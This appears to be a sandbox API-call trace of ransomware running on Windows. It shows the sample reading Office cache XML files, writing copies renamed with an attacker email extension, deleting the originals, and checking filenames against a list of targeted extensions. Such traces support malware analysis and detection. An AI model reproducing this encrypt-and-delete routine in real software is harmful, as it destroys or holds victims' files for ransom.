	[0088.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.922] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.922] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0088.980] GetLastError () returned 0x0
	[0088.980] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x978, lpOverlapped=0x0) returned 1
	[0089.002] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x980, lpOverlapped=0x0) returned 1
	[0089.003] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.003] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.003] SetEndOfFile (hFile=0x180) returned 1
	[0089.003] CloseHandle (hObject=0x180) returned 1
	[0089.011] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.011] SetEndOfFile (hFile=0x174) returned 1
	[0089.013] CloseHandle (hObject=0x174) returned 1
	[0089.013] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.013] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.013] lstrlenW (lpString=".doc") returned 4
	[0089.025] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.025] lstrlenW (lpString=".docx") returned 5
	[0089.025] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.025] lstrlenW (lpString=".pdf") returned 4
	[0089.025] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.025] lstrlenW (lpString=".xls") returned 4
	[0089.025] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.025] lstrlenW (lpString=".xlsx") returned 5
	[0089.025] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.025] lstrlenW (lpString=".ppt") returned 4
	[0089.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString=".zip") returned 4
	[0089.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.026] lstrlenW (lpString=".rar") returned 4
	[0089.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString=".bz2") returned 4
	[0089.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString=".7z") returned 3
	[0089.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString=".dbf") returned 4
	[0089.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString=".1cd") returned 4
	[0089.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString=".jpg") returned 4
	[0089.026] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.026] lstrlenW (lpString=".doc") returned 4
	[0089.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.026] lstrlenW (lpString=".docx") returned 5
	[0089.026] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.026] lstrlenW (lpString=".pdf") returned 4
	[0089.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString=".xls") returned 4
	[0089.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString=".xlsx") returned 5
	[0089.027] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.027] lstrlenW (lpString=".ppt") returned 4
	[0089.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.027] lstrlenW (lpString=".zip") returned 4
	[0089.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.027] lstrlenW (lpString=".rar") returned 4
	[0089.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString=".bz2") returned 4
	[0089.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString=".7z") returned 3
	[0089.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.027] lstrlenW (lpString=".dbf") returned 4
	[0089.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.027] lstrlenW (lpString=".1cd") returned 4
	[0089.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.027] lstrlenW (lpString=".jpg") returned 4
	[0089.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.028] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.028] lstrlenW (lpString="Proof.xml") returned 9
	[0089.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.636] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1
	[0089.636] CloseHandle (hObject=0x19c) returned 1
	[0089.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020
	[0089.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.637] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.637] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0089.637] GetLastError () returned 0x0
	[0089.637] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1
	[0089.685] WriteFile (in: hFile=0x190, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0089.686] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.686] WriteFile (in: hFile=0x190, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.686] SetEndOfFile (hFile=0x190) returned 1
	[0089.686] CloseHandle (hObject=0x190) returned 1
	[0089.687] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.687] SetEndOfFile (hFile=0x19c) returned 1
	[0089.688] CloseHandle (hObject=0x19c) returned 1
	[0089.688] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.688] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1
	[0089.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.689] lstrlenW (lpString=".doc") returned 4
	[0089.689] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString=".docx") returned 5
	[0089.689] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.689] lstrlenW (lpString=".pdf") returned 4
	[0089.689] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString=".xls") returned 4
	[0089.689] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString=".xlsx") returned 5
	[0089.689] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.689] lstrlenW (lpString=".ppt") returned 4
	[0089.689] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.689] lstrlenW (lpString=".zip") returned 4
	[0089.689] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.689] lstrlenW (lpString=".rar") returned 4
	[0089.689] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString=".bz2") returned 4
	[0089.689] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.689] lstrlenW (lpString=".7z") returned 3
	[0089.690] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString=".dbf") returned 4
	[0089.690] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString=".1cd") returned 4
	[0089.690] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString=".jpg") returned 4
	[0089.690] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString=".doc") returned 4
	[0089.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString=".docx") returned 5
	[0089.690] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.690] lstrlenW (lpString=".pdf") returned 4
	[0089.690] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString=".xls") returned 4
	[0089.690] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString=".xlsx") returned 5
	[0089.690] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.690] lstrlenW (lpString=".ppt") returned 4
	[0089.690] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.690] lstrlenW (lpString=".zip") returned 4
	[0089.690] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.690] lstrlenW (lpString=".rar") returned 4
	[0089.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.691] lstrlenW (lpString=".bz2") returned 4
	[0089.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.691] lstrlenW (lpString=".7z") returned 3
	[0089.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.691] lstrlenW (lpString=".dbf") returned 4
	[0089.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.691] lstrlenW (lpString=".1cd") returned 4
	[0089.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81
	[0089.691] lstrlenW (lpString=".jpg") returned 4
	[0089.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.691] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.691] lstrlenW (lpString="Setup.xml") returned 9
	[0089.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.692] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2362) returned 1
	[0089.692] CloseHandle (hObject=0x19c) returned 1
	[0089.692] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0089.692] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0089.692] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.692] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0089.692] GetLastError () returned 0x0
	[0089.692] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x93a, lpOverlapped=0x0) returned 1
	[0089.749] WriteFile (in: hFile=0x190, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x940, lpOverlapped=0x0) returned 1
	[0089.750] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.750] WriteFile (in: hFile=0x190, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.750] SetEndOfFile (hFile=0x190) returned 1
	[0089.750] CloseHandle (hObject=0x190) returned 1
	[0089.755] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.755] SetEndOfFile (hFile=0x19c) returned 1
	[0089.757] CloseHandle (hObject=0x19c) returned 1
	[0089.757] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.757] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.758] lstrlenW (lpString=".doc") returned 4
	[0089.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.758] lstrlenW (lpString=".docx") returned 5
	[0089.758] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.758] lstrlenW (lpString=".pdf") returned 4
	[0089.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.758] lstrlenW (lpString=".xls") returned 4
	[0089.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.760] lstrlenW (lpString=".xlsx") returned 5
	[0089.760] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.763] lstrlenW (lpString=".ppt") returned 4
	[0089.763] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.763] lstrlenW (lpString=".zip") returned 4
	[0089.764] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.764] lstrlenW (lpString=".rar") returned 4
	[0089.764] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString=".bz2") returned 4
	[0089.764] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString=".7z") returned 3
	[0089.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.764] lstrlenW (lpString=".dbf") returned 4
	[0089.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.764] lstrlenW (lpString=".1cd") returned 4
	[0089.764] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.764] lstrlenW (lpString=".jpg") returned 4
	[0089.764] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.764] lstrlenW (lpString=".doc") returned 4
	[0089.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.764] lstrlenW (lpString=".docx") returned 5
	[0089.765] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.765] lstrlenW (lpString=".pdf") returned 4
	[0089.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString=".xls") returned 4
	[0089.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString=".xlsx") returned 5
	[0089.765] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.765] lstrlenW (lpString=".ppt") returned 4
	[0089.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.765] lstrlenW (lpString=".zip") returned 4
	[0089.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.765] lstrlenW (lpString=".rar") returned 4
	[0089.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString=".bz2") returned 4
	[0089.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString=".7z") returned 3
	[0089.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.765] lstrlenW (lpString=".dbf") returned 4
	[0089.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.765] lstrlenW (lpString=".1cd") returned 4
	[0089.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.765] lstrlenW (lpString=".jpg") returned 4
	[0089.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.766] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.766] lstrlenW (lpString="Setup.xml") returned 9
